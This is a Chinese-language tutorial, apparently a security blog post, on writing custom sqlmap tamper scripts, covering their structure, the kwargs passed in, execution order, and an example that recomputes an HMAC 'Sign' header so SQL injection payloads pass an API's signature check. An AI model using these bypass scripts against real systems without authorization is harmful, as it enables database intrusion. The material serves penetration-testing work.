sqlmap作为 sql 注入神器,也不需要多介绍什么。本篇介绍的是 tamper 脚本功能,通过编写自定义 tamper 来实现对请求/payload 的修改来进行某些场景化绕过。

1.tamper 结构

以一个现有 tamper 脚本0eunion.py来说明,结构如下:

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload

主要为三部分:

  • __priority__多个tamper 执行时的优先级,LOWEST(-100)、LOWER(-50)、LOW(-10)、NORMAL(0)、HIGH、HIGHER、HIGHEST

  • dependencies():直译“依赖”,应该是可以做一些输出提示。

  • tamper():对请求/payload 的实际处理逻辑函数。

2.tamper 函数

tamper 函数有两个参数:payload**kwargs。payload 不必多说,这里简单看一下**kwargs有哪些字段。

编写一个 tamper,用于输出字段信息:

def tamper(payload, **kwargs):
    print("\n=== kwargs内容 ===")
    for key, value in kwargs.items():
        print(f"{key}: {value}")
    print("=================\n")
    return payload

发现,存在三个字段:headersdelimiterhints

=== kwargs内容 ===
headers: {}
delimiter: &
hints: {}
=================

delimiter为参数分隔符,hints应为某些运行参数及测试结果保存字段(这里没做深入研究)。

所以实际上,我们可以对 payloadheader 进行直接修改,基本上可以满足很多的场景化需求。

3.tamper 多个执行

在 1.9 版本中,设置多个 tamper 时,将会逐个执行 tamper 脚本,可以选择按照自己指定的顺序执行,或按照脚本优先级执行(同优先级先指定先执行)。

以下为执行示例,编写 a1-3 三个脚本,每个脚本输出对应序号,内容基本相同,a1 和 a3 同优先级,a2 优先级最低。

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    print('a1')

def tamper(payload, **kwargs):
    print(payload + '-1')
    return payload + '-1'

68791eda7f2f2.png

4.示例场景

4.1 接口签名处理

在对接口进行注入测试时,发现请求 header 存在 sgin 参数,接口后端会对请求参数验签。千辛万苦从前端 JS 搞出了签名逻辑,可不能倒在途中。

POST /api/getdata HTTP/1.1
Host: demo.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Sign: adS-Oxf5Fw4

p=zhang&order=data

Tamper 脚本编写,测试时直接指定脚本:

import base64
import hashlib
import hmac

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST


def dependencies():
    pass


def generate_sign(data, secret="abcd"):
    digest = hmac.new(secret.encode('latin1'),
                      data.encode('latin1'),
                      hashlib.sha256).digest()
    return base64.urlsafe_b64encode(digest[:8]).decode().rstrip("=")


def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    data = f"q=&order={payload}"
    headers["Sign"] = generate_sign(data)
    return payload

68791eda61cfa.png